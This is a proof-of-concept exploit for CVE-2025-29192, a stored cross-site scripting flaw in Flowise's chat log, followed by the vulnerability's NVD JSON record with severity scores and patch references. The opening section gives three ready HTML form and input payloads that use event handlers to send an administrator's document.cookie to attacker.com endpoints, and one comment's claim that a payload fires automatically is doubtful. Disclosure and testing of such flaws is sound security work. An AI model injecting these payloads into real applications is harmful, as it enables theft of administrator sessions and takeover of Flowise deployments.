CVE-2025-29192

<!-- CVE-2025-29192 PoC - Stored XSS via FORM/INPUT elements in Flowise chat log --> <!-- Attacker submits malicious payload through chat interface --> <form action="https://attacker.com/steal" method="POST"> <input type="hidden" name="cookie" value=""> <input type="submit" value="Click me" autofocus onfocus="fetch('https://attacker.com/steal?cookie='+document.cookie)"> </form> <!-- Alternative payload using onload event --> <form id="xss" action="javascript:fetch('https://attacker.com/log?c='+document.cookie)"> <input type="submit" onmouseover="fetch('https://attacker.com/log?c='+document.cookie)"> </form> <!-- Payload that triggers automatically when admin views chat log --> <form action="x" onfocus="fetch(`https://attacker.com/exfil?d=${document.cookie}`)" tabindex="0"> <input type="hidden" name="x" value="y"> </form>

{"cve": {"id": "CVE-2025-29192", "sourceIdentifier": "[email protected]", "published": "2025-10-06T02:15:40.120", "lastModified": "2025-10-07T17:03:25.210", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Flowise before 3.0.5 allows XSS via a FORM element and an INPUT element when an admin views the chat log."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:flowiseai:flowise:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.0.5", "matchCriteriaId": "BDD9A62B-1B22-4459-8EC5-4E6C0869BF26"}]}]}], "references": [{"url": "https://github.com/FlowiseAI/Flowise/pull/4905", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.5", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-7r4h-vmj9-wg42", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-7r4h-vmj9-wg42", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}